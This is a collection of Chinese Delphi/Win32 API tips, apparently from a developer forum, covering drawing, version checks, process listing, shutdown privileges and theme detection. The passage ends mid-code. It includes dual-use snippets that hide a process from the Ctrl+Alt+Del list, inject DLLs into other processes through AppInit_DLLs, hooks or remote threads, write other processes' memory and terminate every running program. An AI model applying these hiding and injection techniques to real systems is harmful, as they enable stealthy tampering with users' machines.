
中间是你的画直线和圆弧的程序；

EndPath(Handle);

StrokePath(Handle); //将路径封闭

**********************

只要采用上面的方法，得到的总是闭合的形状！！！

我认为你的本意就是要得到闭合区域！！！呵呵~~~


蚂蚁线

来自：卷起千堆雪tyn, 时间：2001-12-24 22:10:00, ID：809383

YB老弟说我没有诚意，唉，那我就来点诚意，无私一把，给大家一点小小技巧－－－－关于蚂蚁线

>以下程序在一个表单上放置一个Timer控件，设置Interval :=100;

>实现PhotoShop里的流动线效果.

>以下程序字节数<512，简练，高效；原来PhotoShop也不过如此～～

unit n;

interface

uses

Windows,Forms,Graphics,Classes,ExtCtrls;

type

TF=class(TForm)

m:TTimer;

procedure mTimer(Sender:TObject);

end;

var

F:TF;

a:Byte;

implementation

{$R *.DFM}

procedure c(X,Y:Integer;t:TCanvas);stdcall;

begin

a:=a shl 1;

if a =0 then a:=1;

if (a and 224)>0 then

t.Pixels[X,Y]:=clWhite

else

t.Pixels[X,Y]:=clBlack;

end;

procedure TF.mTimer(Sender:TObject);

begin

LineDDA(0,0,333,333,@c,LongInt(Canvas));

end;

end.

>运行之后，有没有看见象蚂蚁在爬呢？

最后祝所有的DFW象爬动的蚂蚁般幸福快乐 .


区域API：CreatePolyPolyRgn

Delphi封装这个API参数设置的很有问题。需要按照下面的方式进行调用：

procedure CreateRegion;

var

i, j, PtsLen: integer;

Pts: array of TPoint; { All Points }

Ints: TIntegerDynArray; { Array of integer }

P1, P2: Pointer;

begin

......

......

P1 := Pts;

P2 := Ints;

Rgn := CreatePolyPolygonRgn(P1^, P2^, Count, 1);

end;


系统版本号

procedure 2

var ver:integer;／／版本号 　 major:integer;／／主版本号 　 minor:integer;／／次版本号

begin

ver:=getversion();／／获得版本号

major:=ver and 255;／／获得主版本号

minor:=(ver and 255＊256)div 256; ／／获得次版本号

showmessage(‘系统版本号是：’＋inttostr(ver)); ／／显示版本号

showmessage(‘系统主版本号是：'＋inttostr(major));／／显示主版本号

showmessage(‘系统次版本号是：'＋inttostr(minor));／／显示次版本号

end;


打开方式
function OpenAs_RunDLL(const h:hwnd;b:hwnd;const filename:pchar;sw:integer=SW_SHOW):integer;stdcall;external 'shell32.dll' name 'OpenAs_RunDLL';


RunDLL详解

我想这篇资料可能会有帮助吧，不好意思英文的没空翻译了，先贴出来吧。

The Win32 Rundll and Rundll32 Interface Related Topics

Microsoft Knowledge Base Article Q164787

Applies to: Windows95, Windows 98, Windows NT4

Summary

Win32 contains two command-line utility programs named Rundll.exe and Rundll32.exe that allow you to invoke a function exported from a DLL, either 16-bit or 32-bit. However, Rundll and Rundll32 programs do not allow you to call any exported function from any DLL. For example, you can not use these utility programs to call the Win32 API (Application Programming Interface) calls exported from the system DLLs. The programs only allow you to call functions from a DLL that are explicitly written to be called by them. This article provides more details on the use of Rundll and Rundll32 programs under Windows NT and Windows 95/98. The Rundll and Rundll32 utility programs were originally designed only for internal use at Microsoft. But the functionality provided by them is sufficiently generic that they are now available for general use. Note that Windows NT 4.0 ships only with the Rundll32 utility program and supports only Rundll32.

More Information

Rundll vs. Rundll32

Rundll loads and runs 16-bit DLLs, whereas Rundll32 loads and runs 32-bit DLLs. If you pass the wrong type of DLL to Rundll or Rundll32, it may fail to run without indicating any error messages.

Rundll Command Line

The command line for Rundll is as follows:

RUNDLL.EXE <dllname>,<entrypoint> <optional arguments>

An example is as follows:

RUNDLL.EXE SETUPX.DLL,InstallHinfSection 132 C:.INF

There are 3 issues to consider carefully in the above command line:

Rundll or Rundll32 search for the given DLL filename in the standard places (see the documentation for the LoadLibrary() function for details). It is recommended that you provide a full path to the DLL to ensure that the correct one is found. For best results, use the short file name instead of the long file name to ensure that no illegal characters will appear. Note in particular that this means a DLL in the "C:Files" folder should be converted to its short name.

The may not contain any spaces or commas or quotation marks. This is a limitation in the Rundll command line parser.

In the above command line, the comma (,) between the <dllname> and the <entrypoint> function name is extremely important. If the comma separator is missing, Rundll or Rundll32 will fail without indicating any errors. In addition, there cannot be any white spaces in between the <dllname>, the comma, and the <entrypoint> function.

How Rundll Works

Rundll performs the following steps:

It parses the command line.

It loads the specified DLL via LoadLibrary().

It obtains the address of the <entrypoint> function via GetProcAddress().

It calls the <entrypoint> function, passing the command line tail which is the <optional arguments>.

When the <entrypoint> function returns, Rundll.exe unloads the DLL and exits.

How to Write Your DLL

In your DLL, write the function with the following prototype:

16-bit DLL:

void FAR PASCAL __loadds

EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);

32-bit DLL:

void CALLBACK

EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);

Again, there are 3 issues to consider with the EntryPoint function:

Obviously, the name "EntryPoint" should be replaced with the actual name of your entry point function. Note that the Rundll32's entry point is completely unrelated to the DllEntryPoint function in a 32-bit DLL which handles process and thread attach/detach notifications.

The entry point function for Rundll32 must be defined with the _stdcall calling convention (CALLBACK defaults to using the _stdcall attribute). If the _stdcall attribute is missing, then the function defaults to _cdecl calling convention and then Rundll32 will terminate abnormally after calling the function.

Since you must declare the function with _stdcall calling convention as described above, it follows that the Visual C++ compiler will actually export it as _EntryPoint@16 if the DLL is written in C or will use further name decoration if the DLL is written in C++. So, be careful to use the correctly exported name in the command line for Rundll or Rundll32. If you want to avoid using decorated names, use a .def file and export the entry point function by name. Please refer to the product documentation and the following article for further information on name decoration when using Visual C++ compilers:

ARTICLE ID: Q140485

TITLE : Exporting PASCAL-Like Symbols in 32-bit DLLs

The parameters to the Rundll entry point are as follows:

hwnd - window handle that should be used as the owner window for any windows your DLL creates

hinst - your DLL's instance handle

lpszCmdLine - ASCIIZ command line your DLL should parse

nCmdShow - describes how your DLL's windows should be displayed.

In the following example:

RUNDLL.EXE SETUPX.DLL,InstallHinfSection 132 C:.INF

Rundll would call the InstallHinfSection() entrypoint function in Setupx.dll and pass it the following parameters:

hwnd = (parent window handle)

hinst = HINSTANCE of SETUPX.DLL

lpszCmdLine = "132 C:.INF"

nCmdShow = (whatever the nCmdShow was passed to CreateProcess)

Note that it is the function (or InstallHinfSection() in the above example) that has to parse its own command line (the lpszCmdLine parameter above) and use the individual parameters as necessary. Rundll.exe parses only up to the optional arguments passed to its command line. The rest of the parsing is up to the function.

Special Notes On Differences Between Windows 95 And Windows NT

On Windows NT, the behavior of Rundll32.exe is slightly different, in order to accommodate UNICODE command lines.

Windows NT first attempts to GetProcAddress for <EntryPoint>W. If this entry point is found, then the prototype is assumed to be:

void CALLBACK

EntryPointW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow);

This is the same as the ANSI EntryPoint, except that the lpszCmdLine parameter is now a UNICODE string.

If the <EntryPoint>W entry point is not found, then Windows NT will GetProcAddress for <entrypoint>A and for <entrypoint>. If either is found, then it is considered an ANSI entry point and is treated the same way as Windows 95. Therefore, if you want your DLL to run on Windows 95 with ANSI support and on Windows NT with UNICODE support, you should export two functions: EntryPointW and EntryPoint. On Windows NT, the EntryPointW function will be called with a UNICODE command line; on Windows 95, the EntryPoint function will be called with an ANSI Command line.


移动开始按钮位置
movewindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil),x,y,25,25,true);


不在Ctrl+Alt+Del中出现

如果你不想自己的程序被从Ctrl+Alt+Del弹出的窗口中强行关闭,

介绍一个Windows未公布的API函数给你:

RegisterServiceProcess(ProcessID:Long,Type:Long)

该函数存在于Kernel32.dll中.

Process指向进程的ID,Type表示是否向系统注册该进程,是1,否0.

/////////////////////////////////////////////////////////////////////////////

function RegisterServiceProcess(a:longint;const b:longint):dword;stdcall;far;external 'Kernel32.dll' name 'RegisterServiceProcess';

ddd:=GetCurrentProcessId;

if (RegisterServiceProcess(ddd,1)=0) then

showmessage('error!');

////////////////////////////////////////////////////////////////////////////

用未公开函数RegisterServiceProcess

#define RSP_SIMPLE_SERVICE 1

#define RSP_UNREGISTER_SERVICE 0

//下面代码为隐藏

DWORD dwID,redserv;

dwID = GetCurrentProcessId();

regserv = RegisterServiceProcess(pid,RSP_SIMPLE_SERVICE);

//恢复隐藏

dwID= GetCurrentProcessId()

regserv = RegisterServiceProcess(pid,RSP_UNREGISTER_SERVICE);


更改任务栏的大小
movewindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'ReBarWindow32', nil),x,y,25,25,true);


刷新系统
SHChangeNotify(SHCNE_ASSOCCHANGED,SHCNF_IDLIST+SHCNF_FLUSH,nil,nil);


怎样知道当前窗口是那个EXE文件运行时创建的

//还有别忘了在 uses 部分加上TLHelp32单元

function GetAppName(const AWindowHandle: THandle): string;

var

PI: DWORD;

ContinueLoop:BOOL;

SnapshotHandle:THandle;

ProcessEntry32:TProcessEntry32;

begin

Result := '';

GetWindowThreadProcessId(AWindowHandle, @PI);

SnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

ProcessEntry32.dwSize := Sizeof(ProcessEntry32);

ContinueLoop := Process32First(SnapshotHandle,ProcessEntry32);

while ContinueLoop do

begin

if ProcessEntry32.th32ProcessID = PI then

begin

Result := ProcessEntry32.szExeFile;

break;

end;

ContinueLoop:=Process32Next(SnapshotHandle, ProcessEntry32);

end;

CloseHandle(SnapshotHandle);

end;

用以上的方法找到窗口HANDLE和PROCESSID后，用GETWINDOWTHREADPROCESS这个API函数可以得到创建窗口的PROCESSID，再和PROCESSID比较一下，可以找到!


系统休眠、电源管理

SetSystemPowerState(False, True); //Forces the system down

SetSystemPowerState(True, False); //Makes a "soft" off


内存修改

TOOLHELP32中的很多函数可以帮你完成修改功能，最直接的就是：

ReadProcessMemory，WriteProcessMemory


关闭所有正在运行的程序

(运行此程序前请保存所有修改过的文件)

procedure TForm1.ButtonKillAllClick(Sender: TObject);

var

pTask : PTaskEntry;

Task : Bool;

ThisTask: THANDLE;

begin

GetMem (pTask, SizeOf (TTaskEntry));

pTask^.dwSize := SizeOf (TTaskEntry);

Task := TaskFirst (pTask);

while Task do

begin

if pTask^.hInst = hInstance then

ThisTask := pTask^.hTask

else

TerminateApp (pTask^.hTask, NO_UAE_BOX);

Task := TaskNext (pTask);

end;

TerminateApp (ThisTask, NO_UAE_BOX);

end;


动态调用DLL中的函数

typedef DWORD (WINAPI Fun) (DWORD,DWORD);

HINSTANCE hkDll=LoadLibrary("KERNEL32.DLL");

Fun*RegisterServiceProcess=(Fun*)::GetProcAddress(hkDll,"RegisterServiceProcess");

(*RegisterServiceProcess)(NULL,1);

FreeLibrary(hkDll);

===============

var

H: HWnd;

p: procedure(Handle: THandle; Path: PChar); stdcall;

begin

H := LoadLibrary(PChar('shdocvw.dll'));

if H <> 0 then

begin

p := GetProcAddress(H, PChar('DoOrganizeFavDlg'));

if Assigned(p) then p(Application.Handle, PChar(favpath));

end;

FreeLibrary(h);

end;


当前正在运行的程序的文件名列表

uses tlhelp32;

--------------

var

lppe:tprocessentry32;

sshandle:thandle;

found:boolean;

begin

sshandle:=createtoolhelp32snapshot(th32cs_snapail,0);

found:=process32first(sshandle,lppe);

while found do

begin

//进行你的处理其中lppe.szExefile就是程序名。

found:=proccess32next(sshandle,lppe);

end;

end;

//线程用Thread32First,Thread32Next

//模块用Module32First,Module32Next

//堆用Heap32First,Heap32Next

//可执行文件用process32first


进程列表

(注意uses TLHelp32）

然后

var lppe: TProcessEntry32;

found : boolean;

Hand : THandle;

begin

Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);

found := Process32First(Hand,lppe);

while found do

begin

ListBox.Items.Add(StrPas(lppe.szExeFile));//列出所有进程。

found := Process32Next(Hand,lppe);

end;

end;

/////////////////////////////////////////////////////

uses ... TLHelp32, ...

type

TForm1 = class(TForm)

...

end;

var

Form1: TForm1;

l : Tlist; ////返回的东东在"L"这个TList中。

type

TProcessInfo = Record

ExeFile : String;

ProcessID : DWORD;

end;

pProcessInfo = ^TProcessInfo;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

var p : pProcessInfo;

i : integer;

ContinueLoop:BOOL;

var

FSnapshotHandle:THandle;

FProcessEntry32:TProcessEntry32;

begin

l := TList.Create;

l.Clear;

FSnapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);

ContinueLoop:=Process32First(FSnapshotHandle,FProcessEntry32);

while integer(ContinueLoop)<>0 do

begin

New(p);

p.ExeFile := FProcessEntry32.szExeFile;

p.ProcessID := FProcessEntry32.th32ProcessID;

l.Add(p);

ContinueLoop:=Process32Next(FSnapshotHandle,FProcessEntry32);

end;

end;

procedure TForm1.FormDestroy(Sender: TObject);

var p : pProcessInfo;

i : integer;

begin

With l do

for i := Count - 1 DownTo 0 do

begin p := items[i]; Dispose(p); Delete(i); end;

end;

...

end.


将线程映射到别的程序的地址空间里

你是问如何打破进程的边界吗?用远程线程注入DLL是一种方法,其他还有使用注册表,HOOK,以及一些WIN32函数,Jeffrey Richter的<<Windows高级编程指南>>详细讨论了这个问题,还有例子,你不妨参考一下这本书

16位WINDOWS操作系统所有进程运行在一个地址空间里,所以可以用SetWindowLong来把窗口的内存块中的窗口地址改为新的(你自己的)WndProc,但WIN32地址空间独立,SetWindowLong调用将被简单忽略,所以必须想法把你的子类代码放入另一个进程的地址空间,这种技术称之为向一个进程的地址空间注入一个DLL,然后就可以SetWindowLong了

1 最简单的方式是设置注册表:HKEY_LOCAL_MACHINENT_DLLS,将其值设为你的DLL路径,如c:.dll,重启后有效,这样每当USER32.DLL被映射到进程时,USER32.DLL检索此字符串并载入此库,这种方法只对那些也映射USER32.DLL的进程有效(好在是绝大部分),并且对WIN95无效.

2 使用HOOK来注入DLL,其原理和WINDOWS运行机制有关.在这里只说明怎么做:设置一个WM_GETMESSAGE钩子,

HOOK hHook=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hinstDll,NULL);

而后,当GetMsgProc被调用后,就SetWindowLong来派生子类

3 使用远程线程注入DLL,你需要在目标进程的地址空间中创建和执行线程并访问提交给线程的栈的物理存储,懂吗?反正我是不懂.

另外,如果你要注入的是子进程的化,CreateRemoteThread的第一个参数就可从

CreateProcess中获得了,不过如果是子进程的话,访问数据完全可以用进程通讯的方法来实现.


调整关机权限

procedure TForm1.AdjustToken();

var

hdlProcessHandle : Cardinal;

hdlTokenHandle : Cardinal;

tmpLuid : Int64;

tkpPrivilegeCount : Int64;

tkp : TOKEN_PRIVILEGES;

tkpNewButIgnored : TOKEN_PRIVILEGES;

lBufferNeeded : Cardinal;

Privilege : array[0..0] of _LUID_AND_ATTRIBUTES;

begin

hdlProcessHandle := GetCurrentProcess;

OpenProcessToken(hdlProcessHandle,

(TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY),

hdlTokenHandle);

// Get the LUID for shutdown privilege.

LookupPrivilegeValue('', 'SeShutdownPrivilege', tmpLuid);

Privilege[0].Luid := tmpLuid;

Privil

ege[0].Attributes := SE_PRIVILEGE_ENABLED;

tkp.PrivilegeCount := 1; // One privilege to set

tkp.Privileges[0] := Privilege[0];

// Enable the shutdown privilege in the access token of this

// process.

AdjustTokenPrivileges(hdlTokenHandle,

False,

tkp,

Sizeof(tkpNewButIgnored),

tkpNewButIgnored,

lBufferNeeded);

end;

******************

在Windows2000下关闭计算机

function ShutDownSystem():BOOL;

var

hProcess,hAccessToken:THandle;

LUID_AND_ATTRIBUTES:TLUIDAndAttributes;

TOKEN_PRIVILEGES: TTokenPrivileges;

BufferIsNull:DWORD;

Const

SE_SHUTDOWN_NAME='SeShutdownPrivilege';

begin

hProcess:=GetCurrentProcess();

OpenProcessToken(hprocess,TOKEN_ADJUST_PRIVILEGES+TOKEN_QUERY,hAccessToken);

LookupPrivilegeValue(Nil,SE_SHUTDOWN_NAME,LUID_AND_ATTRIBUTES.Luid);

LUID_AND_ATTRIBUTES.Attributes:=SE_PRIVILEGE_ENABLED;

TOKEN_PRIVILEGES.PrivilegeCount:=1;

TOKEN_PRIVILEGES.Privileges[0]:=LUID_AND_ATTRIBUTES;

BufferIsNull:=0;

AdjustTokenPrivileges(hAccessToken,False,TOKEN_PRIVILEGES,sizeof(TOKEN_PRIVI

LEGES),Nil,BufferIsNull);

ExitWindowsEx(EWX_REBOOT, 0);

ShutDownSystem:=True;

end;


如何终止一个程序

uses tlhelp32;

假设要终止的程序的文件名为：project2.exe，那么例程如下：

var

lppe:tprocessentry32;

sshandle:thandle;

hh:hwnd;

found:boolean;

begin

sshandle:=createtoolhelp32snapshot(TH32CS_SNAPALL,0);

found:=process32first(sshandle,lppe);

while found do

begin

//进行你的处理其中lppe.szExefile就是程序名。

if uppercase(extractfilename(lppe.szExeFile))='PROJECT2.EXE' then

begin

hh:=OpenProcess(PROCESS_ALL_ACCESS,true,lppe.th32ProcessID);

TerminateProcess(hh,0);

end;

found:=process32next(sshandle,lppe);

end;

end;

********************

HANDLE hProcess

Windows NT/2000: The handle must have PROCESS_TERMINATE access.

For more information, see Process Security and Access Rights.

所以要先使用

DWORD SetSecurityInfo(

HANDLE handle, // handle to object

SE_OBJECT_TYPE ObjectType, // object type

SECURITY_INFORMATION SecurityInfo, // buffer

PSID psidOwner, // new owner SID

PSID psidGroup, // new primary group SID

PACL pDacl, // new DACL

PACL pSacl // new SACL

);


如何防止一个程序执行两次

如何防止一个程序执行两次

这是一个比较简单的防止程序执行两次的方法

implementation

var hnd: THandle;

initialization

hnd := CreateMutex(nil, True, 'irgendwaseinmaliges');

if GetLastError = ERROR_ALREADY_EXISTS then Halt;

finalization

if hnd <> 0 then CloseHandle(hnd);

end.


系统启动模式

用Delphi检测Windows的启动模式

2000-09-19 10:24:23

    Windows 95/98的启动模式可以分为正常模式和安全模式，在安全模式下，有很多功能被限制使用，比如多媒体功能、网络功能等。有时，我们编写的程序正好需要这些被限制的功能，因此我们希望当程序运行时能自动检测当前Windows所处的启动模式是不是安全模式，以确定是否继续运行程序。

    那么如何在Delphi程序中检测当前的Windows是以正常模式还是安全模式启动的？这需要使用到API函数GetSystemMetrics来进行检测。API函数GetSystemMetrics可以取得Windows的一些配置信息，比如，鼠标的按键数、窗体的边界宽度，它也可以测得当前Windows所处的启动模式。

    在Windows API中，该函数的定义如下：

    int GetSystemMetrics( int nIndex );

    其中参数nIndex的取值很多，如果只想检测Windows的启动模式，只要取参数值为SM_CLEANBOOT即可，该值将确认当前的Windows是以何种模式启动的。它的返回值有三个：

    0：正常启动模式；

    1：安全模式启动Windows；

    2：以安全模式启动，但是拥有网络功能。

    我们可以在程序的起始部分使用该函数，如下面的示例中，我们根据Windows启动模式的不同，应用程序显示出不同的提示信息，用户可以在实际编程中具体添加新的处理代码。

    procedure TForm1.FormCreate(Sender: TObject);

    begin

    case(GetSystemMetrics(SM_CLEANBOOT)) of

    0:ShowMessage('正常模式启动');

    1:ShowMessage('安全模式启动');

    2:ShowMessage('安全模式启动，但附带网络功能');

    else

    ShowMessage('错误：系统启动有问题。');

    end;

    end;

    另外，在运行之前，要记着在源程序的Uses部分中加入单元名ShellAPI，否则Delphi会显示出错信息。

    摘自《赛迪网》　韩世伟/文


如何获取系统颜色

所谓系统颜色就相当于在Windows控制面板的显示中的外观选项卡中设置的系统颜色。在应用程序中使用系统颜色能使你的应用程序在任何情况下都能与系统保持一到的颜色，能更进一步体现你的应用程序与操作系统的高度集成化。使用GetSysColor()函数可获取系统颜色。具体使用方法如下：

var i:integer;

begin

//取得系统桌面背景颜色

i :=GetSysColor(COLOR_BACKGROUND);

end;

要取得其它系统颜色，只要把参数换一下就可以了，其它系统颜色的索引号如下：

COLOR_BACKGROUND　　　　 　桌面背景

COLOR_SCROLLBAR　　　　　　滚动条

COLOR_ACTIVECAPTION 　 　　活动窗口标题

COLOR_INACTIVECAPTION　　　非活动窗口标题

COLOR_MENU　　　　　　 　　菜单

COLOR_WINDOW　　　　　 　　窗口背景

COLOR_WINDOWFRAME　　　　　窗口框

COLOR_MENUTEXT　　　　 　　窗口文字

COLOR_CAPTIONTEXT　　　　　标题文字

COLOR_ACTIVEBORDER　　 　　活动窗口边框

COLOR_INACTIVEBORDER　 　　非活动窗口边框

COLOR_APPWORKSPACE　　 　　MDI 窗口背景

COLOR_HIGHLIGHT　　　　　　选择条背景

COLOR_HIGHLIGHTTEXT　　　　选择条文字

COLOR_BTNFACE　　　　　　　按钮

COLOR_BTNSHADOW　　　　　　3D 按钮阴影

COLOR_GRAYTEXT　　　　 　　灰度文字

COLOR_BTNTEXT　　　　　　　按钮文字

COLOR_INACTIVECAPTIONTEXT　非活动窗口文字

COLOR_BTNHIGHLIGHT　　 　　3D 选择按钮


系统版本

GetVersion取到的版本信息是一个整体，要取得某个主版本或者次版本很麻烦，用一个记录就可以简单解决了：

procedure TForm1.Button1Click(Sender: TObject);

Type

TVersion = packed record

WinVer,

WinRev,

DosRev,

DosVer: byte;

end;

var

V:Dword;

begin

V:=GetVersion;

Label1.Caption :=Format('Windows Version:%d.%d,Dos Version:%d.%d',[TVersion(V).WinVer,TVersion(V).WinRev,Tversion(V).DosVer,TVersion(V).DosRev]);

end;

其实在Delphi5中有一些系统常量可以使用（在sysutils单元）：

Win32BuildNumber //Build版本号

Win32Platform //系统平台，2=Win32系统

Win32MajorVersion //主版本号

Win32MinorVersion //次版本号

Win32CSDVersion //其他版本信息，例如"Service Pack 2"


重新启动Windows

重新启动Windows，不是重新启动机器！包含Thunk技术。

感谢http://www.experts-exchange.com/Q.10115419, 以下代码RestartWindows可以实现:

{$StackFrames On} //QT_Thunk needs a stack frame, Thunking call to 16-bit USER.EXE. The ThunkTrash argument allocates space on the stack for QT_Thunk

function LoadLibrary16(LibraryName: PChar): THandle; stdcall; external kernel32 index 35;

procedure FreeLibrary16(HInstance: THandle); stdcall; external kernel32 index 36;

function GetProcAddress16(Hinstance: THandle; ProcName: PChar): Pointer; stdcall; external kernel32 index 37;

procedure QT_Thunk; cdecl; external kernel32 name 'QT_Thunk';

var

hInst16: THandle;

GFSR: Pointer;

function RestartWindows: WordBool;

var

ThunkTrash: array[0..$20] of Word;

dw: DWord;

w: Word;

begin

if Win32Platform = VER_PLATFORM_WIN32_NT then

begin

Result := False;

Exit;

end;

ThunkTrash[0] := hInst16; //Prevent the optimizer from getting rid of ThunkTrash

hInst16 := LoadLibrary16('user.exe');

if hInst16 < 32 then

raise Exception.Create('Cannot load USER.EXE');

FreeLibrary16(hInst16); //Decrement the usage count. This doesn't really free the library, since USER.EXE is always loaded

GFSR := GetProcAddress16(hInst16, 'ExitWindows'); //Get the function pointer for the 16-bit function in USER.EXE

if GFSR = nil then

raise Exception.Create('Cannot get address of ExitWindows');

dw := EW_RestartWindows;

w := 0;

asm //Thunk down to USER.EXE

push dw { push arguments }

push w

mov edx, GFSR { load 16-bit procedure pointer }

call QT_Thunk { call thunk }

mov Result, ax { save the result }

end;

end;

{$StackFrames Off}


已知窗口句柄，如何的到进程ID？
请查看GetWindowLong()的帮助，其中有一个参数就是的。


如何知道进程使用了多少内存

// Works only on Windows NT systems (WinNT, Win2000, WinXP)

uses psAPI;

procedure TForm1.Button1Click(Sender: TObject);

var

pmc: PPROCESS_MEMORY_COUNTERS;

cb: Integer;

begin

cb := SizeOf(_PROCESS_MEMORY_COUNTERS);

GetMem(pmc, cb);

pmc^.cb := cb;

if GetProcessMemoryInfo(GetCurrentProcess(), pmc, cb) then

Label1.Caption := IntToStr(pmc^.WorkingSetSize) + ' Bytes'

else

Label1.Caption := 'Unable to retrieve memory usage structure';

FreeMem(pmc);

end;


设置错误处理模式

stop Windows from displaying critical error messages?

var

wOldErrorMode: Word;

begin

wOldErrorMode := SetErrorMode(SEM_FAILCRITICALERRORS);

try

//Error code here

finally

SetErrorMode(wOldErrorMode);

end;

end;


添加计划任务

如何调用Windows系统的计划任务程序？//示例添加任务

type

TAT_INFO = record

JobTime: DWord;

DaysOfMonth: DWord;

DaysOfWeek: UCHAR;

Flags: UCHAR;

Command: PWideChar;

end;

PAT_INFO = ^TAT_INFO;

NET_API_STATUS = LongInt;

(*// Zswang

NET_API_STATUS NetScheduleJobAdd(

LPCWSTR Servername,

LPBYTE Buffer,

LPDWORD JobId

);

Windows NT/2000/XP: Included in Windows NT 3.1 and later.

Windows 95/98/Me: Unsupported.

//*)

function NetScheduleJobAdd(ServerName: PWideChar; Buffer: PAT_INFO; var JobID: LongInt): NET_API_STATUS; external 'netapi32.dll' name 'NetScheduleJobAdd';

unit insjob;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TAT_INFO = record

JobTime: DWord;

DaysOfMonth: DWord;

DaysOfWeek: UCHAR;

Flags: UCHAR;

Command: PWideChar;

end;

PAT_INFO = ^TAT_INFO;

NET_API_STATUS = LongInt;

TForm1 = class(TForm)

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

function NetScheduleJobAdd(ServerName: PWideChar; Buffer: PAT_INFO; var JobID: PDWord): NET_API_STATUS;stdcall;

var

Form1: TForm1;

implementation

{$R *.DFM}

function NetScheduleJobAdd; external 'netapi32.dll' name 'NetScheduleJobAdd';

procedure TForm1.Button1Click(Sender: TObject);

var

ATInfo:PAT_Info;

jobid:PDword;

begin

getmem(atinfo,sizeof(TAt_info));

getmem(jobid,sizeof(dword));

atinfo^.jobtime:=3*60*60*1000+15*60*1000;//miliseconds from midnight to 3:15

atinfo^.DaysOfMonth:=4294967295;

atinfo^.DaysOfWeek:=255;

atinfo^.command:='c:.exe';

atinfo^.flags:=1;

if NetScheduleJobAdd(nil,atinfo,jobid) < >2 then

showmessage('ok');

freemem(jobid);

freemem(atinfo);

end;

end.


在新的Win2K的外壳(Shell)中如何实现全部最小化(MinimizeAll)功能

在新的Win2K的外壳(Shell)中如何实现全部最小化(MinimizeAll)功能？

回答:

我发现如果你导入Microsoft Shell Controls & Automation Type Library，你可以在一个构件中得到这些功能。

在菜单上选择Project..Import Type Library...

选择 Microsoft Shell Controls & Automation (version 1.0).

点击 Install...

这里会有几个构件被安装到ActiveX构件栏。拖一个TShell构件到你的窗体或者DM上，你就可以使用以下代码实现全部最小化的功能：

Shell1.MinimizeAll;

/*********************************************************************

这里还有许多真正cool的Shell技巧在TShell构件中

*********************************************************************/

procedure TForm1.Shell(sMethod: Integer);

begin

case sMethod of

0:

//最小化桌面上所有的窗口

begin

Shell1.MinimizeAll;

Button1.Tag := Button1.Tag + 1;

end;

1:

//显示运行对话框

begin

Shell1.FileRun;

Button1.Tag := Button1.Tag + 1;

end;

2:

//显示关闭Windows对话框

begin

Shell1.ShutdownWindows;

Button1.Tag := Button1.Tag + 1;

end;

3:

//显示搜索对话框

begin

Shell1.FindFiles;

Button1.Tag := Button1.Tag + 1;

end;

4:

//显示日期/时间对话框

begin

Shell1.SetTime;

Button1.Tag := Button1.Tag + 1;

end;

5:

//显示Internet属性对话框

begin

Shell1.ControlPanelItem('INETCPL.cpl');

Button1.Tag := Button1.Tag + 1;

end;

6:

//让用户选择“程序”的存放路径

begin

Shell1.BrowseForFolder(0, 'My Programs', 0, 'C:Files');

Button1.Tag := Button1.Tag + 1;

end;

7:

//显示工具栏属性对话框

begin

Shell1.TrayProperties;

Button1.Tag := Button1.Tag + 1;

end;

8:

//恢复桌面上所有的窗口(全部最小化的逆操作)

begin

Shell1.UndoMinimizeAll;

Button1.Tag := 0;

end;

end; {case}

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Shell(Button1.Tag);

end;


利用Event Log

最简单的一个函数了：

function WriteEventLog(FromApp, Msg: string; EventType: Word = 4): Boolean;

var

EHwnd : THandle;

Buffer : Pchar;

begin

Result := False;

EHwnd := RegisterEventSource(nil, PChar(FromApp));

if EHwnd = 0 then exit;

Buffer := pchar(Msg);

Result := ReportEvent(EHwnd, EventType, 0, 0, nil, 1, 0, @Buffer, nil);

DeregisterEventSource(EHwnd);

end;

调用演示：

procedure TForm1.FormCreate(Sender:TObject);

begin

WriteEventLog(Application.Title,'Load Program');

end;


检查WinXP视觉主题是否有效

detect if the user is using XP style or classic style?

Author: Thomas Stutz

function _IsThemeActive: Boolean;

// Returns True if the user uses XP style

const

themelib = 'uxtheme.dll';

type

TIsThemeActive = function: BOOL; stdcall;

var

IsThemeActive: TIsThemeActive;

huxtheme: HINST;

begin

Result := False;

// Check if XP or later Version

if (Win32Platform = VER_PLATFORM_WIN32_NT) and

(((Win32MajorVersion = 5) and (Win32MinorVersion >= 1)) or

(Win32MajorVersion > 5)) then

begin

huxtheme := LoadLibrary(themelib);

if huxtheme <> 0 then

begin

try

IsThemeActive := GetProcAddress(huxtheme, 'IsThemeActive');

Result := IsThemeActive;

finally

if huxtheme > 0 then

FreeLibrary(huxtheme);

end;

end;

end;

end;

// Example Call:

procedure TForm1.Button1Click(Sender: TObject);

begin

if _IsThemeActive then

ShowMessage('Windows Themes are active.');

end;


获取当前视觉主题名称

获取当前视觉主题名称

...get the name of the current visual style, the color scheme name and size name (XP)?

Author: David B. Ferguson

uses ComObj, SyncObjs;

var

GetCurrentThemeName: function (pszThemeFileName: LPWSTR; cchMaxNameChars: Integer;

pszColorBuff: LPWSTR; cchMaxColorChars: Integer; pszSizeBuff: LPWSTR;

cchMaxSizeChars: Integer): HRESULT; stdcall;

procedure TForm1.Button1Click(Sender: TObject);

var

FileName, ColorScheme, SizeName: WideString;

hThemeLib: THandle;

begin

try

hThemeLib := LoadLibrary('uxtheme.dll');

if hThemeLib > 0 then

GetCurrentThemeName := GetProcAddress(hThemeLib, 'GetCurrentThemeName');

if Assigned(GetCurrentThemeName) then

begin

SetLength(FileName, 255);

SetLength(ColorScheme, 255);

SetLength(SizeName, 255);

OleCheck(GetCurrentThemeName(PWideChar(FileName), 255,

